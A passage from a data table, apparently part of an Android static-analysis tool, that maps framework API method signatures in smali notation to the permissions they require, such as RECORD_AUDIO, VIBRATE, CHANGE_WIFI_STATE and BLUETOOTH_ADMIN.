"Landroid/content/pm/PackageManager;-setApplicationEnabledSetting-(Ljava/lang/String; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
"Landroid/content/pm/PackageManager;-setComponentEnabledSetting-(Landroid/content/ComponentName; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-setApplicationEnabledSetting-(Ljava/lang/String; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-setComponentEnabledSetting-(Landroid/content/ComponentName; I I)":
"CHANGE_COMPONENT_ENABLED_STATE",
"Landroid/os/storage/IMountService$Stub$Proxy;-getSecureContainerList-()":
"ASEC_ACCESS",
"Landroid/os/storage/IMountService$Stub$Proxy;-getSecureContainerPath-(Ljava/lang/String;)":
"ASEC_ACCESS",
"Landroid/os/storage/IMountService$Stub$Proxy;-isSecureContainerMounted-(Ljava/lang/String;)":
"ASEC_ACCESS",
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;-noteLaunchTime-(LComponentName;)":
"UPDATE_DEVICE_STATS",
"Landroid/net/sip/SipAudioCall;-startAudio-()": "RECORD_AUDIO",
"Landroid/media/MediaRecorder;-setAudioSource-(I)": "RECORD_AUDIO",
"Landroid/speech/SpeechRecognizer;-cancel-()": "RECORD_AUDIO",
"Landroid/speech/SpeechRecognizer;-handleCancelMessage-()": "RECORD_AUDIO",
"Landroid/speech/SpeechRecognizer;-handleStartListening-(Landroid/content/Intent;)":
"RECORD_AUDIO",
"Landroid/speech/SpeechRecognizer;-handleStopMessage-()": "RECORD_AUDIO",
"Landroid/speech/SpeechRecognizer;-startListening-(Landroid/content/Intent;)":
"RECORD_AUDIO",
"Landroid/speech/SpeechRecognizer;-stopListening-()": "RECORD_AUDIO",
"Landroid/media/AudioRecord;-<init>-(I I I I I)": "RECORD_AUDIO",
"Landroid/location/LocationManager;-addTestProvider-(Ljava/lang/String; B B B B B B B I I)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-clearTestProviderEnabled-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-clearTestProviderLocation-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-clearTestProviderStatus-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-removeTestProvider-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-setTestProviderEnabled-(Ljava/lang/String; B)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-setTestProviderLocation-(Ljava/lang/String; Landroid/location/Location;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-setTestProviderStatus-(Ljava/lang/String; I Landroid/os/Bundle; J)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-addTestProvider-(Ljava/lang/String; B B B B B B B I I)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-clearTestProviderEnabled-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-clearTestProviderLocation-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-clearTestProviderStatus-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-removeTestProvider-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-setTestProviderEnabled-(Ljava/lang/String; B)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-setTestProviderLocation-(Ljava/lang/String; Landroid/location/Location;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/LocationManager;-setTestProviderStatus-(Ljava/lang/String; I Landroid/os/Bundle; J)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-addTestProvider-(Ljava/lang/String; B B B B B B B I I)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-clearTestProviderEnabled-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-clearTestProviderLocation-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-clearTestProviderStatus-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-removeTestProvider-(Ljava/lang/String;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-setTestProviderEnabled-(Ljava/lang/String; B)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-setTestProviderLocation-(Ljava/lang/String; Landroid/location/Location;)":
"ACCESS_MOCK_LOCATION",
"Landroid/location/ILocationManager$Stub$Proxy;-setTestProviderStatus-(Ljava/lang/String; I Landroid/os/Bundle; J)":
"ACCESS_MOCK_LOCATION",
"Landroid/media/AudioManager;-EXTRA_RINGER_MODE-Ljava/lang/String;":
"VIBRATE",
"Landroid/media/AudioManager;-EXTRA_VIBRATE_SETTING-Ljava/lang/String;":
"VIBRATE",
"Landroid/media/AudioManager;-EXTRA_VIBRATE_TYPE-Ljava/lang/String;":
"VIBRATE",
"Landroid/media/AudioManager;-FLAG_REMOVE_SOUND_AND_VIBRATE-I": "VIBRATE",
"Landroid/media/AudioManager;-FLAG_VIBRATE-I": "VIBRATE",
"Landroid/media/AudioManager;-RINGER_MODE_VIBRATE-I": "VIBRATE",
"Landroid/media/AudioManager;-VIBRATE_SETTING_CHANGED_ACTION-Ljava/lang/String;":
"VIBRATE",
"Landroid/media/AudioManager;-VIBRATE_SETTING_OFF-I": "VIBRATE",
"Landroid/media/AudioManager;-VIBRATE_SETTING_ON-I": "VIBRATE",
"Landroid/media/AudioManager;-VIBRATE_SETTING_ONLY_SILENT-I": "VIBRATE",
"Landroid/media/AudioManager;-VIBRATE_TYPE_NOTIFICATION-I": "VIBRATE",
"Landroid/media/AudioManager;-VIBRATE_TYPE_RINGER-I": "VIBRATE",
"Landroid/media/AudioManager;-getRingerMode-()": "VIBRATE",
"Landroid/media/AudioManager;-getVibrateSetting-(I)": "VIBRATE",
"Landroid/media/AudioManager;-setRingerMode-(I)": "VIBRATE",
"Landroid/media/AudioManager;-setVibrateSetting-(I I)": "VIBRATE",
"Landroid/media/AudioManager;-shouldVibrate-(I)": "VIBRATE",
"Landroid/os/Vibrator;-cancel-()": "VIBRATE",
"Landroid/os/Vibrator;-vibrate-([L; I)": "VIBRATE",
"Landroid/os/Vibrator;-vibrate-(J)": "VIBRATE",
"Landroid/provider/Settings/System;-VIBRATE_ON-Ljava/lang/String;": "VIBRATE",
"Landroid/app/NotificationManager;-notify-(I Landroid/app/Notification;)":
"VIBRATE",
"Landroid/app/NotificationManager;-notify-(Ljava/lang/String; I Landroid/app/Notification;)":
"VIBRATE",
"Landroid/app/Notification/Builder;-setDefaults-(I)": "VIBRATE",
"Landroid/os/IVibratorService$Stub$Proxy;-cancelVibrate-(Landroid/os/IBinder;)":
"VIBRATE",
"Landroid/os/IVibratorService$Stub$Proxy;-vibrate-(J Landroid/os/IBinder;)":
"VIBRATE",
"Landroid/os/IVibratorService$Stub$Proxy;-vibratePattern-([L; I Landroid/os/IBinder;)":
"VIBRATE",
"Landroid/app/Notification;-DEFAULT_VIBRATE-I": "VIBRATE",
"Landroid/app/Notification;-defaults-I": "VIBRATE",
"Landroid/os/storage/IMountService$Stub$Proxy;-createSecureContainer-(Ljava/lang/String; I Ljava/lang/String; Ljava/lang/String; I)":
"ASEC_CREATE",
"Landroid/os/storage/IMountService$Stub$Proxy;-finalizeSecureContainer-(Ljava/lang/String;)":
"ASEC_CREATE",
"Landroid/bluetooth/BluetoothAdapter;-setScanMode-(I I)":
"WRITE_SECURE_SETTINGS",
"Landroid/bluetooth/BluetoothAdapter;-setScanMode-(I)":
"WRITE_SECURE_SETTINGS",
"Landroid/server/BluetoothService;-setScanMode-(I I)":
"WRITE_SECURE_SETTINGS",
"Landroid/os/IPowerManager$Stub$Proxy;-setMaximumScreenOffTimeount-(I)":
"WRITE_SECURE_SETTINGS",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-setInstallLocation-(I)":
"WRITE_SECURE_SETTINGS",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-setScanMode-(I I)":
"WRITE_SECURE_SETTINGS",
"Landroid/view/IWindowManager$Stub$Proxy;-setRotation-(I B I)":
"SET_ORIENTATION",
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;-getAllPkgUsageStats-()":
"PACKAGE_USAGE_STATS",
"Lcom/android/internal/app/IUsageStats$Stub$Proxy;-getPkgUsageStats-(LComponentName;)":
"PACKAGE_USAGE_STATS",
"Landroid/os/IHardwareService$Stub$Proxy;-setFlashlightEnabled-(B)":
"FLASHLIGHT",
"Landroid/app/SearchManager;-EXTRA_SELECT_QUERY-Ljava/lang/String;":
"GLOBAL_SEARCH",
"Landroid/app/SearchManager;-INTENT_ACTION_GLOBAL_SEARCH-Ljava/lang/String;":
"GLOBAL_SEARCH",
"Landroid/server/search/Searchables;-buildSearchableList-()": "GLOBAL_SEARCH",
"Landroid/server/search/Searchables;-findGlobalSearchActivity-()":
"GLOBAL_SEARCH",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-addOrUpdateNetwork-(Landroid/net/wifi/WifiConfiguration;)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-disableNetwork-(I)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-disconnect-()":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-enableNetwork-(I B)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-pingSupplicant-()":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-reassociate-()":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-reconnect-()":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-removeNetwork-(I)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-saveConfiguration-()":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-setNumAllowedChannels-(I B)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-setWifiApEnabled-(Landroid/net/wifi/WifiConfiguration; B)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-setWifiEnabled-(B)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-startScan-(B)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-addNetwork-(Landroid/net/wifi/WifiConfiguration;)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-addOrUpdateNetwork-(Landroid/net/wifi/WifiConfiguration;)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-disableNetwork-(I)": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-disconnect-()": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-enableNetwork-(I B)": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-pingSupplicant-()": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-reassociate-()": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-reconnect-()": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-removeNetwork-(I)": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-saveConfiguration-()": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-setNumAllowedChannels-(I B)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-setWifiApEnabled-(Landroid/net/wifi/WifiConfiguration; B)":
"CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-setWifiEnabled-(B)": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-startScan-()": "CHANGE_WIFI_STATE",
"Landroid/net/wifi/WifiManager;-startScanActive-()": "CHANGE_WIFI_STATE",
"Landroid/app/ExpandableListActivity;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ExpandableListActivity;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ExpandableListActivity;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/accessibilityservice/AccessibilityService;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/accessibilityservice/AccessibilityService;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/accessibilityservice/AccessibilityService;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/accounts/GrantCredentialsPermissionActivity;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/accounts/GrantCredentialsPermissionActivity;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/accounts/GrantCredentialsPermissionActivity;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/backup/BackupAgent;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/backup/BackupAgent;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/backup/BackupAgent;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/service/wallpaper/WallpaperService;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/service/wallpaper/WallpaperService;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/service/wallpaper/WallpaperService;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/backup/BackupAgentHelper;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/backup/BackupAgentHelper;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/backup/BackupAgentHelper;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/accounts/AccountAuthenticatorActivity;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/accounts/AccountAuthenticatorActivity;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/accounts/AccountAuthenticatorActivity;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/IActivityManager$Stub$Proxy;-unbroadcastIntent-(Landroid/app/IApplicationThread; Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ActivityGroup;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ActivityGroup;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ActivityGroup;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/content/ContextWrapper;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/ContextWrapper;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/ContextWrapper;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/ContextWrapper;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/ContextWrapper;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/Activity;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/Activity;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/Activity;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/ContextImpl;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ContextImpl;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ContextImpl;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/AliasActivity;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/AliasActivity;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/AliasActivity;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/content/Context;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/Context;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/Context;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/Context;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/Context;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/service/urlrenderer/UrlRendererService;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/service/urlrenderer/UrlRendererService;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/service/urlrenderer/UrlRendererService;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/FullBackupAgent;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/FullBackupAgent;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/FullBackupAgent;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/TabActivity;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/TabActivity;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/TabActivity;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/view/ContextThemeWrapper;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/view/ContextThemeWrapper;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/view/ContextThemeWrapper;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/speech/RecognitionService;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/speech/RecognitionService;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/speech/RecognitionService;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/IntentService;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/IntentService;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/IntentService;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/inputmethodservice/AbstractInputMethodService;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/inputmethodservice/AbstractInputMethodService;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/inputmethodservice/AbstractInputMethodService;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/Application;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/Application;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/Application;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/Application;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/ListActivity;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ListActivity;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/ListActivity;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/Service;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/Service;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/app/Service;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/content/MutableContextWrapper;-removeStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/MutableContextWrapper;-sendStickyBroadcast-(Landroid/content/Intent;)":
"BROADCAST_STICKY",
"Landroid/content/MutableContextWrapper;-sendStickyOrderedBroadcast-(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)":
"BROADCAST_STICKY",
"Landroid/app/IActivityManager$Stub$Proxy;-forceStopPackage-(Ljava/lang/String;)":
"FORCE_STOP_PACKAGES",
"Landroid/app/ActivityManagerNative;-forceStopPackage-(Ljava/lang/String;)":
"FORCE_STOP_PACKAGES",
"Landroid/app/ActivityManager;-forceStopPackage-(Ljava/lang/String;)":
"FORCE_STOP_PACKAGES",
"Landroid/app/IActivityManager$Stub$Proxy;-killBackgroundProcesses-(Ljava/lang/String;)":
"KILL_BACKGROUND_PROCESSES",
"Landroid/app/ActivityManager;-killBackgroundProcesses-(Ljava/lang/String;)":
"KILL_BACKGROUND_PROCESSES",
"Landroid/app/AlarmManager;-setTimeZone-(Ljava/lang/String;)": "SET_TIME_ZONE",
"Landroid/app/AlarmManager;-setTimeZone-(Ljava/lang/String;)": "SET_TIME_ZONE",
"Landroid/app/IAlarmManager$Stub$Proxy;-setTimeZone-(Ljava/lang/String;)":
"SET_TIME_ZONE",
"Landroid/server/BluetoothA2dpService;-connectSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothA2dpService;-disconnectSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothA2dpService;-resumeSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothA2dpService;-setSinkPriority-(Landroid/bluetooth/BluetoothDevice; I)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothA2dpService;-setSinkPriority-(Landroid/bluetooth/BluetoothDevice; I)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothA2dpService;-suspendSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothPbap;-disconnect-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-connectSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-disconnectSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-resumeSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-setSinkPriority-(Landroid/bluetooth/BluetoothDevice; I)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;-suspendSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-cancelDiscovery-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-disable-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-enable-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-setName-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-startDiscovery-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-cancelDiscovery-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-disable-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-enable-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-setDiscoverableTimeout-(I)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-setName-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothAdapter;-startDiscovery-()": "BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-cancelBondProcess-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-cancelDiscovery-()": "BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-cancelPairingUserInput-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-createBond-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-disable-()": "BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-disable-(B)": "BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-enable-()": "BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-enable-(B)": "BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-removeBond-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-setDiscoverableTimeout-(I)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-setName-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-setPairingConfirmation-(Ljava/lang/String; B)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-setPasskey-(Ljava/lang/String; I)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-setPin-(Ljava/lang/String; [L;)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-setTrust-(Ljava/lang/String; B)":
"BLUETOOTH_ADMIN",
"Landroid/server/BluetoothService;-startDiscovery-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothHeadset;-connectHeadset-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothHeadset;-disconnectHeadset-()": "BLUETOOTH_ADMIN",
